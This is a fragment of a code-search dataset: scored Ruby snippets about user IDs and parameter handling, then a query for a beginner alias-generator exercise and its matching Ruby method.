"docid": "ccda2aab28542f2ffd28c6db041f11fc", "score": "0.5707057", "text": "def process_ids(ids)\n clean_ids(ids)\n genes = convert_ids(\n ids.select { |id| id =~ /^[A-Z]+[0-9]+$/ },\n @helper.config[:formats][:genna],\n [\n @helper.config[:formats][:engid],\n @helper.config[:formats][:ezgid]\n ]\n )\n genes.concat(convert_ids(\n ids.select { |id| id =~ /^[A-Z]+_[0-9]+$/ },\n @helper.config[:formats][:rseqr],\n [\n @helper.config[:formats][:engid],\n @helper.config[:formats][:ezgid]\n ]\n ))\n genes.concat(convert_from_geneid(ids.select { |id| id =~ /^[0-9]+$/ }))\n genes.uniq! { |gene| gene.gene_id }\n genes\n end", "title": "" }, { "docid": "efea9b013075310750d41187726fdc37", "score": "0.5707", "text": "def prepare_params\n self.class.re_glob_id_fields params\n end", "title": "" }, { "docid": "1f178d383a0fcfd6df556be5f16ef33e", "score": "0.5695663", "text": "def village_user_ids\n users.collect do |user|\n user.uid\n end.compact\n end", "title": "" }, { "docid": "291ab88bcd12aef798ddb6f39f5933b6", "score": "0.5689428", "text": "def user_ids\n return @user_ids\n end", "title": "" }, { "docid": "9c0de292a0ca5c425853686a4407c6d8", "score": "0.5684947", "text": "def by_ids(user_ids:)\n user_ids = Array(user_ids)\n\n\n User.where(id: user_ids).map do |user|\n DeadUser.new \\\n id: user.id.to_s,\n name: user.full_name.strip, # MAYBE It might be better to do strip on save\n username: user.username,\n avatar_url: Avatar.for_user(user),\n deleted: user.deleted\n end\n end", "title": "" }, { "docid": "3799b678af8d9324ef9105cd21c8c92a", "score": "0.5681985", "text": "def combine(user_fields, user_ids)\n user_fields.each_index do |idx|\n user_fields[idx].push(user_ids[idx])\n end\nend", "title": "" }, { "docid": "66f7022d0989aab71c3bc8e9565f965e", "score": "0.56818604", "text": "def transform_params(params)\n params\n end", "title": "" }, { "docid": "6c5623775300096aa20e584b9bb75fcb", "score": "0.5680063", "text": "def tagged_user_ids\n tagged_users.collect(&:id)\n end", "title": "" }, { "docid": "646c2febc9cd0f040edf37f32ed2cad1", "score": "0.5669197", "text": "def user_ids\n return nil unless (temp_extended_user_ids = read_attribute(:user_ids))\n # logger.debug2 \"temp_extended_user_ids = #{temp_extended_user_ids}\"\n YAML::load encrypt_remove_pre_and_postfix(temp_extended_user_ids, 'user_ids', 10)\n end", "title": "" }, { "docid": "6e748b0bb886023fae23d96c00f0b1b8", "score": "0.5657345", "text": "def make_roles_to_ids(rows)\n roles = self.class.hash_of_arrays_for_roles\n rows.each do |row|\n role = self.class.get_role(row[1])\n ids = roles[role]\n ids << row[0] # append the id\n end\n roles\n end", "title": "" }, { "docid": "1041de8cddc215eab28935c42b8e6758", "score": "0.5655898", "text": "def user_ids\n @entries_by_user_id.keys\n end", "title": "" }, { "docid": "1d7d28c8d6f2896ea18ad47eaed618c8", "score": "0.56513363", "text": "def ids\n pluck primary_key\n end", "title": "" }, { "docid": "3b9e02b72e6d637f77ca8ce29a588965", "score": "0.5642235", "text": "def user_tokens=(ids)\n self.user_ids = ids.split(\",\")\n end", "title": "" }, { "docid": "a7148d22c88c3d325e2ddfb0eec17cc4", "score": "0.5636969", "text": "def user_tokens=(ids)\n self.user_ids = ids.split(',')\n end", "title": "" }, { "docid": "c8f8010b57d41a985726b1c291d165a4", "score": "0.5625768", "text": "def translate_names_to_ids\n return if params[:request].nil?\n\n if params[:request][:environment] && params[:request][:environment_id].nil?\n params[:request][:environment_id] = Environment.active.find_by_name(params[:request][:environment]).id rescue nil\n params[:request].delete(:environment)\n end\n\n ### TODO implement translate multiple environments names to ids\n\n if params[:request][:template_name] && params[:request][:request_template_id].nil?\n params[:request][:request_template_id] = RequestTemplate.unarchived.find_by_name(params[:request][:template_name]).id rescue nil\n params[:request].delete(:template_name) unless params[:request][:request_template_id].nil?\n end\n end", "title": "" }, { "docid": "1535d260c3dd2d7395b427ae433482f0", "score": "0.5625542", "text": "def unpluck_ids(fields, row)\n Hash[*fields.zip(row.split(\",\").map(&:to_i)).flatten]\n end", "title": "" }, { "docid": "edfb9b384f81b20c3a1f4eaba85a3f4b", "score": "0.5616436", "text": "def shout_user_ids\n\t\t[@user.id] + @user.followed_user_ids\n\tend", "title": "" }, { "docid": "edd946ca48dc3bf91cb7ab7820cb3c11", "score": "0.56142867", "text": "def convert_to_id(items)\n items.map { |item| item.respond_to?(:id) ? item.id : item }\n end", "title": "" }, { "docid": "83a8ab3dd28bc066638396915d28803c", "score": "0.5603467", "text": "def split_two_id_arrays(param, pos)\n splitted = param.split(\"-\") if param\n return param && splitted[pos] ? splitted[pos].split(\",\").map(&:to_i) : []\n end", "title": "" }, { "docid": "ccd60bbd2f91d0f2b23172fb4feb8e25", "score": "0.55969906", "text": "def userids(*values)\n values.inject(self) { |res, val| res._userids(val) }\n end", "title": "" }, { "docid": "65f4522b45223a8d57c860acaad68e2c", "score": "0.55969185", "text": "def user_ids\n return nil unless (temp_user_ids = read_attribute(:user_ids))\n # logger.debug2 \"temp_user_ids = #{temp_user_ids}\"\n YAML::load temp_user_ids\n end", "title": "" }, { "docid": "407c3624e7fa52288381d9d703c8d65b", "score": "0.5594826", "text": "def ids_by_params(params)\n _hash = {}\n\n params.each_pair do |key, value|\n next if key == 'utf8'\n\n key = key.to_s\n _key, _value = key.gsub(/>|</, ''), value\n\n if _value.is_a?(String)\n next if _value.strip.empty?\n _value = _value.gsub(/>|</, '')\n _value = _value.numeric? ? _value.to_f : (_value.to_boolean if _value.boolean?)\n end\n\n sign = '='\n\n if key =~ />$/ || value =~ /^>/\n sign = '>'\n elsif key =~ /<$/ || value =~ /^</\n sign = '<'\n end\n\n _fields = ConstructorPages::Field.where(code_name: _key)\n\n _ids = []\n\n _fields.each do |_field|\n _hash[:field_id] = _field.id\n _ids << _field.type_class.where(\"value #{sign} ?\", _value).where(_hash).map(&:page_id)\n end\n\n _hash[:page_id] = _ids.flatten.uniq\n end\n\n return _hash[:page_id] || []\n end", "title": "" }, { "docid": "e036f6c3beb51be197aceb9b69e90bf7", "score": "0.5590112", "text": "def user_field_identifiers\n\n return @user_field_identifiers unless @user_field_identifiers.nil?\n\n mapping = setting_to_list(SiteSetting.user_fields_mapping)\n .map { |f| f.split ':' }\n .map { |kv| kv.map {|x| x.strip } } # sanitize input\n .tap { |arr| break Hash[arr] } # since to_h is only available with 2.1.0\n\n @user_field_identifiers = UserField.all\n .map { |uf| [mapping[uf.name] || uf.name, uf.id] }\n .tap { |arr| break Hash[arr] }\n end", "title": "" }, { "docid": "37c8ea76153268556a88ed26036f0fb1", "score": "0.55898017", "text": "def ids\n self.map { |i| i['id'] }\n end", "title": "" }, { "docid": "f04951ebd96394645689b2e4287dcab5", "score": "0.55855536", "text": "def mute_ids(params = {})\n response = get('mutes/users/ids.json', params)\n Croudia::Object::IDs.new(response)\n end", "title": "" } ]
ecacf9e3c806abd78f9199b7e63921f0
get the newest article of restaurant
[ { "docid": "b8e534ae9b09b5dccf66c266869be0c9", "score": "0.65886617", "text": "def the_newest_article\n data = { 'keyword' => @keyword }\n # per_page should be set to > 2 or there are no results\n article_ret = @gateway_class.new(2, 1, @keyword).article_lists\n data['link'] = if !article_ret.key?('articles')\n 'https://i.imgur.com/kfi33rq.png'\n else\n article_ret['articles'][0]['link']\n end\n data\n end", "title": "" } ]
[ { "docid": "58dfad8775590d9bbb59ce2d9506be7d", "score": "0.6922299", "text": "def home_news\n NewsItem.latest(2)\n end", "title": "" }, { "docid": "3dff19eea1a9a0a06e4736821d8b3712", "score": "0.68835056", "text": "def news_latest\n news(latest: true)\n end", "title": "" }, { "docid": "c8b355fd06fe630299d554eb3f7e01fe", "score": "0.68414843", "text": "def show\n @category = Category.find(params[:id])\n @articles = @category.articles\n @newest_article = @articles.order(created_at: :desc).first\n end", "title": "" }, { "docid": "c702eed576840b8dd37a18f66c1837da", "score": "0.68049943", "text": "def most_recent_recipe\n self.recipes.sort_by{|recipe|recipe.date.to_i}.last \n end", "title": "" }, { "docid": "3674bed27bdd06c51d5861c610cd62af", "score": "0.67994726", "text": "def most_recent_recipe\n\n end", "title": "" }, { "docid": "085cc9c17d1b7ef62235bc52a31c6b46", "score": "0.6644007", "text": "def show\n @article = @diary.articles.find(params[:id])\n @last_article = @diary.articles.order('updated_at')[-2]\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "title": "" }, { "docid": "a0eeb933955509a27fba7ba60774bbd5", "score": "0.6643903", "text": "def recommendation_note\n recommendation_notes.order(created_at: :desc).first\n end", "title": "" }, { "docid": "3b4ff942aad33b0a37c56167a2e27aa8", "score": "0.64899796", "text": "def latest_version\n self.article_versions.first\n end", "title": "" }, { "docid": "10ff299e65f0ff44607635bdd9d6cb1f", "score": "0.64854866", "text": "def recent_post\r\n Article.find(:first,\r\n :conditions => [\"status = 'published' AND is_sticky = false AND article_category_id IN (?)\", self_and_children_ids],\r\n :order => 'published_at DESC')\r\n end", "title": "" }, { "docid": "dcc487d56c5e2c7d69d5c9f776388681", "score": "0.64054793", "text": "def newest\n @links = Link.newest\n end", "title": "" }, { "docid": "f66fb5c6ea660615a457f551a63c8e17", "score": "0.6363911", "text": "def current_dispute\r\n disputes.order(created_at: :desc).first\r\n end", "title": "" }, { "docid": "e81a9eee49cc0766042eb6ad17234616", "score": "0.6286182", "text": "def find_newest\n @recipes = Recipe.newest\n render \"recipes/index\"\n end", "title": "" }, { "docid": "9685fe7840bbfaa25d1e21c719d11801", "score": "0.62836343", "text": "def latest_article\n Article.find(:first, \n :include => :sections,\n :order => \"date DESC\",\n :conditions => ['articles_sections.section_id IN (?) AND state = (?)', [self.id, *children.map(&:id)], 'approved'])\n end", "title": "" }, { "docid": "154e1c0e2b8a4f990d75ac6eeae9ec55", "score": "0.62205803", "text": "def most_recent_recipe\n user_recipe_cards_helper_method.sort_by do |rc|\n rc.date\n end.last\n end", "title": "" }, { "docid": "0a34ec2066f850c8973d42475fe3373f", "score": "0.62158966", "text": "def most_recent_recipe\n recent = self.recipe_cards.sort_by{|card| card.date}.last.recipe\n end", "title": "" }, { "docid": "e99be99284826a55ea6ded9b142f9b49", "score": "0.6191151", "text": "def new\n @article = Article.new\n @last_article = if id = params[:article_id]\n Article.find(id)\n else\n @diary.articles.order('updated_at').last\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "title": "" }, { "docid": "2502e6581e82b6890c6c3b23a4582353", "score": "0.6173606", "text": "def show\n @latest = Recipe.last(4)\n end", "title": "" }, { "docid": "8e30d6f097ae4952e3ab00c90829daa5", "score": "0.61652106", "text": "def recent_review\n reviews.last\n end", "title": "" }, { "docid": "b6a9f24beef3e013dcb25b14125abf92", "score": "0.61634904", "text": "def latest\n sorted_tomatoes.first\n end", "title": "" }, { "docid": "595e230a9ebf1126325fb52535ccb028", "score": "0.6156681", "text": "def newest_comment\n self.comments.order('created_at desc').limit(1)\n end", "title": "" }, { "docid": "83637a067fa7b80a4afc7a4db82349e5", "score": "0.6154086", "text": "def most_recent_recipe\n my_recipes=recipe_cards.each do |recipe|\n recipe.user\n end\n my_recipes_sorted = my_recipes.sort_by { |recipe| recipe.date_of_entry}\n my_most_recent = my_recipes_sorted[-1]\n end", "title": "" }, { "docid": "561586ab9629158c531efbecf5455ac8", "score": "0.61372304", "text": "def get_latest_news(start=0,count=LatestNewsPerPage)\n numitems = $r.zcard(\"news.cron\")\n news_ids = $r.zrevrange(\"news.cron\",start,start+(count-1))\n return get_news_by_id(news_ids,:update_rank => true),numitems\n end", "title": "" }, { "docid": "41843c4ff02cbff60c1035ceb7ccc984", "score": "0.6124966", "text": "def most_recent_recipe\n sorted = self.recipe_cards.sort_by{|recipe_card| recipe_card.date}.reverse\n sorted[0].recipe\n end", "title": "" }, { "docid": "49ec67a4d87c1733819423c5b9bd1d6e", "score": "0.61134326", "text": "def latest(page=0)\n path = \"/view/last/#{page}\"\n retrieve_stories(path)\n end", "title": "" }, { "docid": "f7462917094cc797bf6ffda3b9abd78e", "score": "0.60814095", "text": "def get_latest_news(start=0,count=LatestNewsPerPage)\n numitems = $r.zcard(\"news.cron\")\n news_ids = $r.zrevrange(\"news.cron\",start,start+(count-1))\n return get_news_by_id(news_ids,:update_rank => true),numitems\nend", "title": "" }, { "docid": "f7462917094cc797bf6ffda3b9abd78e", "score": "0.60814095", "text": "def get_latest_news(start=0,count=LatestNewsPerPage)\n numitems = $r.zcard(\"news.cron\")\n news_ids = $r.zrevrange(\"news.cron\",start,start+(count-1))\n return get_news_by_id(news_ids,:update_rank => true),numitems\nend", "title": "" }, { "docid": "4c4c7ebbfe3cc449be7128f9365c7508", "score": "0.6069174", "text": "def latest_reviews\n\tuser.reviews.order(\"created_at\").reverse.first(5)\n end", "title": "" }, { "docid": "b3d2e23483caf54ba72d42b7376a9185", "score": "0.6068505", "text": "def latest\n location_id = params[:id]\n puts \"My Location ID is %s\" % [location_id]\n\n trends_xml = index(location_id)\n url= \"http://localhost:8080\"\n r = RestClient::Resource.new url\n # TODO Uncomment when implemented\n puts \"Feed exists? %s\" % (feed_exists?(location_id)).to_s\n create_feed(location_id) unless feed_exists?(location_id)\n res = r[\"exist/atom/edit/4302Collection/\"+location_id].post trends_xml, :content_type => \"application/atom+xml\"\n #res = r[\"exist/atom/edit/4302Collection/root-trends\"].post trends_xml, :content_type => \"application/atom+xml\"\n render :xml => res\n end", "title": "" }, { "docid": "391153a5dbd872763f94c0fd2e6a2d60", "score": "0.6049442", "text": "def recent_articles(max=10)\n Article.find_recent(max, self)\n end", "title": "" }, { "docid": "c43ba2c7fa23d5d219e8a507c93d321e", "score": "0.60177153", "text": "def date\n Url.order(created_at: :desc).limit(1)\n end", "title": "" }, { "docid": "e84c2dd1b80fd67da943f0c184474051", "score": "0.59923077", "text": "def most_recent_recipe\n RecipeCard.all.max_by{|recipe_card| Time.parse(recipe_card.date)}.recipe\n end", "title": "" }, { "docid": "304c1ea1e1abb05693005901777cdbec", "score": "0.59899205", "text": "def last_post\n\t\tposts.order('created_at DESC').first\n\tend", "title": "" }, { "docid": "1dfcdccf637a322eb630d7494a7f2eff", "score": "0.59784645", "text": "def last_note\n self.notes.find(:first, :order => 'created_at DESC')\n end", "title": "" }, { "docid": "f8f8964622d10f100ec874f855f64c90", "score": "0.59771675", "text": "def most_recent_recipe\n recipe_card.last.recipe\n end", "title": "" }, { "docid": "f85c8b7107e436dac23e2cc32b8006f9", "score": "0.5963947", "text": "def most_recent_recipe\n mapped_recipes = RecipeCard.all.select {|rc| rc.user_name == self}\n (ar1 = mapped_recipes.sort_by {|rcard| rcard.date}).last\n\n end", "title": "" }, { "docid": "f3c636f608ee127bcb0eea4fa10010c6", "score": "0.594583", "text": "def latest_revision\n revisions.first\n end", "title": "" }, { "docid": "5887e318f8e182ea38ba2c5db3dfedae", "score": "0.59428734", "text": "def recent\n [\n app.blog(:episodes).articles.first(2),\n app.blog(:blog).articles.first(2)\n ].flatten.sort_by { |e|\n e.data.date\n }\n end", "title": "" }, { "docid": "c4a58a4cadb5aa191aa91170487119c2", "score": "0.59408826", "text": "def recent\n results.last\n end", "title": "" }, { "docid": "aaa079c329e9a93762af7bea98b44a56", "score": "0.59352046", "text": "def last_published\n Post.find_by_published(true, :order => 'created_at DESC')\n end", "title": "" }, { "docid": "f1625a29c8fbf939506ea0c51470c382", "score": "0.59304297", "text": "def most_recent_post\n topic = Topic.first(:order => 'last_post_at DESC', :conditions => ['syselaad_id = ?', self.id])\n return topic\n end", "title": "" }, { "docid": "3cf36f590a149c33ee66195df56bae08", "score": "0.59272254", "text": "def most_recent_recipe\n recent_date = self.recipe_card.map do |recipe|\n recipe.date #date of recipe\n end\n recent_recipe = self.recipe_card.select do |cardobj|\n cardobj.date == recent_date.sort.last\n end\n recent_recipe.map do |recipe_cardobj|\n recipe_cardobj.recipe\n end\n end", "title": "" }, { "docid": "1e9176db87182a2ce062c8b0dead7658", "score": "0.5925142", "text": "def latest\n @latest.latest if @latest\n end", "title": "" }, { "docid": "41b79aa7b4b40a284124402610d503b8", "score": "0.5919559", "text": "def most_recent_event\n recent_events.first\n end", "title": "" }, { "docid": "f9fbfd159702f8cfcb3cd95cbc85fa0f", "score": "0.59186155", "text": "def most_viewed \n self.published.find(:first, :order => \"visits_count ASC\")\n end", "title": "" }, { "docid": "d9cfc0b1d3490d7bc036e63b5765b4db", "score": "0.59125674", "text": "def last_article\n @last_article ||= begin\n affixe = CURRENT_ARTICLE_ID.to_s.rjust(4,'0')\n folder_articles = './__SITE__/blog/articles'\n mdpath = File.join(folder_articles,\"#{affixe}.md\")\n if File.exist? mdpath\n kramdown(mdpath)\n else\n deserb(File.join(folder_articles,\"#{affixe}.erb\"))\n end\n end\n end", "title": "" }, { "docid": "40cf34aec3803bcbab38a40dacb46c0e", "score": "0.591051", "text": "def most_recent_recipe\n most_recent = nil\n RecipeCard.all.each do |card|\n if card.user == self\n if most_recent == nil \n most_recent = card\n elsif card.date > most_recent.date\n most_recent = card\n end\n end\n end\n return most_recent.recipe\n end", "title": "" }, { "docid": "76e4e4567c49f5ce5479f7fb96b0f1b0", "score": "0.58941996", "text": "def most_recent_recipe\n self.recipe_cards.last.recipe\n end", "title": "" }, { "docid": "6eab9061977d21930e8a5a5183c552cc", "score": "0.5885628", "text": "def show\n @latest_posts = @post.get_latest_post(3)\n end", "title": "" }, { "docid": "50348af03acd03bc31c263bfc4757f63", "score": "0.58840436", "text": "def most_recent_recipe\n sorted = cards.sort_by {|card| card.date}\n sorted[sorted.length-1].recipe\n end", "title": "" }, { "docid": "5c8da52d263bd8e98eef390eee7ce567", "score": "0.58763146", "text": "def most_recent_recipe\n recipe_cards.last.recipe\n end", "title": "" }, { "docid": "279a17d852999b6dbd40c07727cb3ce3", "score": "0.58734417", "text": "def newest\n \t\t@page = params[:page].to_i || 0\n\t\t@items = Item.page(params[:page]).order('created_at desc').includes(:user)\n\t\t@title = \"Page #{@page}\" if @page > 1\n @item_vote = Vote.new\n respond_to do |format|\n format.html { render :template => \"items/index\" }\n format.xml { render :xml => @items }\n end \t\n\tend", "title": "" }, { "docid": "3363cb95e9f51429d2b806f62aacb3f3", "score": "0.5872843", "text": "def get_latest_revision\n return get_revision(latest_revision_number())\n end", "title": "" }, { "docid": "3354912ed051065538053d9d12d1ff0c", "score": "0.5867802", "text": "def next_article\n app.blog.articles.reverse.find {|a| a.date > self.date }\n end", "title": "" }, { "docid": "d41437cc16ee5fe5106ff0c3d42fc9c5", "score": "0.58428144", "text": "def earliest_published_article(articles)\n articles_temp_store = articles.select { |article| article.published_date.present? }\n articles_temp_store.sort_by{ |article| article.published_date }.first\n end", "title": "" }, { "docid": "9318cab1942b6a1e0e358a0eac818536", "score": "0.5839698", "text": "def get_latest\n\t\t\n\t\tnum_ideas = params[:num_ideas].to_i\n\t\t\t\n\t\tif (Post.where('updated_at > ?', Time.now - 15.seconds).length > 0 || Post.all.length != num_ideas)\n\t\t\t\n\t\t\t@lasttwo = Post.limit(3).order('updated_at desc')\n\t\t\trender :json => { :data => @lasttwo }\n\n\t\telse \n\t\t\t\n\t\t\trender :json => { :data => {} }\n\t\tend\n\tend", "title": "" }, { "docid": "a99965d5825e647351dda12a857b8f25", "score": "0.5837083", "text": "def show\n @ultimas = News.last(4).reverse\n end", "title": "" }, { "docid": "30fcbd70cd141bd4b56bdf835da528a2", "score": "0.5836244", "text": "def most_recent_articles(page)\n page.search(\".//body[@id='cnnSearch']//div//div//div//div//div//div[@id='cnnContentColumn']//div[@id='cnnSearchResults']//div[@id='cnnSearchRefine']\")\n end", "title": "" }, { "docid": "285851c78c7db83ee80fbb496cca09ad", "score": "0.5835792", "text": "def get_most_recent_entry_date(items)\n begin\n return items[0].published_date if items && items[0]\n rescue\n nil\n end\n end", "title": "" }, { "docid": "15e2d0424a9e28408477522fcb2e1549", "score": "0.58278555", "text": "def relatorio\n\t\t@relatorio = Rastrear.all.order(\"created_at DESC\").limit(50)\n\tend", "title": "" }, { "docid": "171b034a76415b8ca7ea3ec3add013b8", "score": "0.5826373", "text": "def latest\n latest = Provider.select(\"id, name, url, updated_at\").order(:updated_at).limit(6)\n end", "title": "" }, { "docid": "347e7fed7a46bf37b5906bb300c9ea61", "score": "0.58119166", "text": "def top_restaurant\n Tag.restaurants_for_tag(self).group(:restaurant_id).order(\"COUNT(restaurant_id) DESC\").take\n end", "title": "" }, { "docid": "fe856df520a0e79a1fcc7425c565197f", "score": "0.58083266", "text": "def index\n @articles = Article.all.order('publdate DESC')\n end", "title": "" }, { "docid": "99763ff2b0780bf2ce237e15d3617885", "score": "0.5804053", "text": "def show_latest_article\n author = search_techcrunch[\"articles\"][0][\"author\"]\n title = search_techcrunch[\"articles\"][0][\"title\"]\n content = search_techcrunch[\"articles\"][0][\"content\"]\n publish_time = search_techcrunch[\"articles\"][0][\"publishedAt\"]\n url = search_techcrunch[\"articles\"][0][\"url\"]\n puts \"#{dashes}\\n#{title}\\n\\n#{content}\\n\\n#{author} - #{publish_time}\\n#{dashes}\"\n puts Rainbow(\"\\nWould you like to read the full article? (y/n)\").white.bright\n user_input = gets.chomp\n if user_input == \"y\"\n system(\"open #{url}\")\n else\n puts Rainbow(\"\\nNot your cuppa tea!?\").white.bright\n menu\n end\n end", "title": "" }, { "docid": "5cfa5b273b7582998acf675692af04fb", "score": "0.5800836", "text": "def most_recent_recipe\n recipe_cards[-1].recipe\n end", "title": "" }, { "docid": "1166a045e2929da63fb9d6e12b85d4a0", "score": "0.5800393", "text": "def recent_ideas\n\t\t@recent_ideas = Idea.order(\"created_at desc\").order(\"created_at desc\")\n\tend", "title": "" }, { "docid": "3163b65498438206aac274fc2f0ba3eb", "score": "0.57980365", "text": "def latest_solobook\n self.solobooks.find(:first, \n :conditions => \"published_on <= NOW()\", \n :order => \"published_on DESC\")\n end", "title": "" }, { "docid": "63d938b2e3571b2f8890abd57533def9", "score": "0.5794364", "text": "def latest_episode\n self.episodes.find(:first, :conditions => \"published_on <= NOW()\", :order => \"published_on DESC\")\n end", "title": "" }, { "docid": "4112dcff4a88b6e6a97ded8188079ee8", "score": "0.57937425", "text": "def get_latest() self.get(self.latest_ttl[1]); end", "title": "" }, { "docid": "c9fe949a57169434563b9f8f58d0348c", "score": "0.5790099", "text": "def get_latest_revision\n return get_revision(latest_revision_number)\n end", "title": "" }, { "docid": "9b21f3c171df628c3115e6e816239fd1", "score": "0.5774934", "text": "def most_recent\n reverse_order(:created_at)\n end", "title": "" }, { "docid": "9b21f3c171df628c3115e6e816239fd1", "score": "0.5774934", "text": "def most_recent\n reverse_order(:created_at)\n end", "title": "" }, { "docid": "1a29dc83cf3e1c6e5514c7410c56f31f", "score": "0.5774891", "text": "def newest_meeting\n @newest_meeting = Event.sorted.first\n end", "title": "" }, { "docid": "b30f0a7e9913f31d82ec6dff1e9ae558", "score": "0.57738435", "text": "def new\n @article = Article.new\n @category = \"unknow\"\n @categories = Category.find(:all)\n @lastest = Article.find(:all,:limit=>10,:order=>\"created_at desc\")\n @lastest_comments = Comment.find(:all,:limit=>15,:order=>\"created_at desc\")\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @article }\n end\n end", "title": "" }, { "docid": "f15f47fd011d575c2c9458fcced18f64", "score": "0.5773054", "text": "def most_recent_recipe\n RecipeCard.all.select do |card|\n card.user == self\n end\n .sort_by(&:date).reverse[0] #sorting by the date and reversing the array to show first element\n end", "title": "" }, { "docid": "0f53a3f3466ffc2c6a2f5d6a096464f0", "score": "0.57687193", "text": "def last_news\n limit = @opts[:limit] || 3\n entries = DcNews.only(:created_by_name, :link, :subject, :created_at)\n .where(active: true) \n .order_by(created_at: -1).limit(limit).to_a\n\n entries.inject('') do |result, element|\n result << @parent.link_to(\"/news/#{element.link}\") do \n %Q[<div>\n <span class=\"date\">#{@parent.dc_pretty_date(element.created_at)} : </span>\n <span class=\"title\">#{element.subject}</span>\n </div>].html_safe\n end\n end\nend", "title": "" }, { "docid": "89226d3571e516f993820f54a88b28f6", "score": "0.576468", "text": "def show\n @mentries = Mentry.order(\"date DESC\")\n\n end", "title": "" }, { "docid": "4b800166e86fd2aa1b4fac8b31404b97", "score": "0.5761235", "text": "def latest_result\n return get_entities(Result, data.id, :limit => 1).first\n end", "title": "" }, { "docid": "e7640b8f54e8d198ab46e028e7b31207", "score": "0.5756168", "text": "def details\n @article = Article.find(params[:article_id])\n @first_revision = @course.revisions.where(article_id: @article.id).order(:date).first\n @last_revision = @course.revisions.where(article_id: @article.id).order(:date).last\n end", "title": "" }, { "docid": "1015bc645fe47574702ae6ee25b4bfd5", "score": "0.57519954", "text": "def new_item_date\n newest_item = Item.where(:user_id => self.id).order(\"create_date DESC\").first\n if newest_item\n newest_item.create_date\n else\n Time.new\n end\n end", "title": "" }, { "docid": "b4d1c6b6a86f499c50c44d7225f4c9d5", "score": "0.5748614", "text": "def most_recent_post \n newforum = Forum.find(:conditions => ['forum_id = ?', self.id]) \n return newforum \n end", "title": "" }, { "docid": "af826cb0e0b081783e26e47abec15274", "score": "0.57431287", "text": "def fetch_yandex_news\n feed = RSS::Parser.parse(Rails.configuration.news[\"yandex_news_rss_url\"])\n return unless feed&.items && !feed.items.size.zero?\n\n feed.items.sort_by(&:pubDate).reverse.first\n end", "title": "" }, { "docid": "f333dbb16a363409dbace4f9031452bd", "score": "0.573775", "text": "def index\n @articles = Article.order(:created_at => :desc).all\n end", "title": "" }, { "docid": "53369491a5cd4b496bf935567b4f315b", "score": "0.57355964", "text": "def set_most_recent\n @recent = House.order(\"created_at\").last\n end", "title": "" }, { "docid": "05e67868341dd11da41b7fadf38f8a79", "score": "0.5729676", "text": "def most_recent_maintenance_record\n \tnil if self.id.nil?\n\n mr = MaintenanceRecord.where( planting_id: self.id )\n mr = mr.where.not( ignore: true )\n mr = mr.order( :maintenance_date ).reverse_order.limit( 1 )\n mr[ 0 ]\n end", "title": "" }, { "docid": "8e2650cd34a36d7d2a5c233336c3e97f", "score": "0.57288516", "text": "def most_commented \n self.published.find(:first, :order => \"comments_count ASC\")\n end", "title": "" }, { "docid": "bb8a3a35ef047cfab3917e82b9fb764b", "score": "0.5718958", "text": "def last_five_news\n CrNews.find_by_sql(\"select r.item_id, r.title, r.publish_date\n from cr_news n, cr_revisions r, cr_items i\n where n.news_id = r.revision_id\n and i.item_id = r.item_id\n and i.live_revision = r.revision_id\n and r.publish_date < current_timestamp \n and (n.archive_date is null or n.archive_date > current_timestamp)\n order by r.publish_date desc, r.item_id desc\n limit 5\")\n end", "title": "" }, { "docid": "311c7f1f310af1873b074b671a90d6e9", "score": "0.57137567", "text": "def latest\n @api.latest\n end", "title": "" }, { "docid": "55d98fcffc994eb58771d0240b7fb258", "score": "0.5710931", "text": "def most_recent_recipe\n recipe_cards.reduce do |memo, recipe|\n memo.date > recipe.date ? memo : recipe\n end.recipe\n end", "title": "" }, { "docid": "b104564badd3e59e4f3b02940da6f7fd", "score": "0.57078743", "text": "def get_latest_event\n return Event.all.order(\"start_at desc\").limit(1)[0]\n end", "title": "" }, { "docid": "286503bf298c93d0a8343414980f1e2b", "score": "0.57056695", "text": "def latest \n sort().last\n end", "title": "" }, { "docid": "0f69705c1ab5c2d4f44e7ac2abc6299c", "score": "0.5696733", "text": "def restaurant\n @restaurant ||= Restaurant.includes(reviews: :user).find_by(slug: params[:slug])\n end", "title": "" }, { "docid": "fda4bb86a82209818c7f1ebcdb61ae08", "score": "0.56964034", "text": "def last_post\n topics.first.posts.last\n end", "title": "" }, { "docid": "ce5ee9acf29962e5f1dee80573237fff", "score": "0.5694293", "text": "def last_post\n posts.last\n end", "title": "" }, { "docid": "5d49044127ab7bbf93c3555d3262c33d", "score": "0.5693701", "text": "def show\n @comments = Comment.where(restaurant_id:\n \t@restaurant.id).order(created_at: :desc)\n end", "title": "" }, { "docid": "d5942c42bae1ed1e06c0e089b9357d96", "score": "0.5688776", "text": "def index\n @news = News.order('id desc').page(params['page']).per(5)\n @ultimas = News.last(4).reverse\n end", "title": "" }, { "docid": "ea831880d93691b7dca7c1db2d875772", "score": "0.5674967", "text": "def find_recent_news_items\n @news_items = @news_archive.news_items.accessible.includes(:node).page(1).per(25)\n @news_items_for_table = @news_items.to_a\n @latest_news_items = @news_items_for_table[0..7]\n @news_items_for_table -= @latest_news_items\n end", "title": "" }, { "docid": "1e25d6dd0937b11a2e51472e78f3f0c6", "score": "0.56715924", "text": "def latest_location\n self.all_locations.last\n end", "title": "" }, { "docid": "7d2578d02abfe812014cc33bb727efc5", "score": "0.5668433", "text": "def latest\n @gapi.only_read_latest\n end", "title": "" }, { "docid": "7d2578d02abfe812014cc33bb727efc5", "score": "0.5668433", "text": "def latest\n @gapi.only_read_latest\n end", "title": "" }, { "docid": "7d2578d02abfe812014cc33bb727efc5", "score": "0.5668433", "text": "def latest\n @gapi.only_read_latest\n end", "title": "" } ]
92ade989319c0e7b88dc38a30f976356
Prompt user for real name Assume input to be one string of two words Downcase Swap the first and last words of the name Potentially by assigning to a new array? Change all vowels to the next vowel Use a string of "aeiou" in the same way that we used the alphabet string for the decrypter Change all consonants to the next consonant need edge cases for the letters preceding vowels z, d, h, n, t Use capitalize method before returning new name Return new name
[ { "docid": "c370c366e78fec758f625fed0855b515", "score": "0.7275107", "text": "def alias_creator(name)\n name.downcase!\n name_array = name.split(' ')\n name_array.reverse!\n # insert method for changing vowels here\n post_vowels = next_vowel(name_array)\n # insert method for changing consonants here#\n new_name = next_consonant(post_vowels)\n # re-capitalize the first letter of each name\n new_name.map! {|word| word.capitalize}\n # take our array and turn it into a string\n puts \"Your automatically generated alias is:\"\n p new_name * \" \"\nend", "title": "" } ]
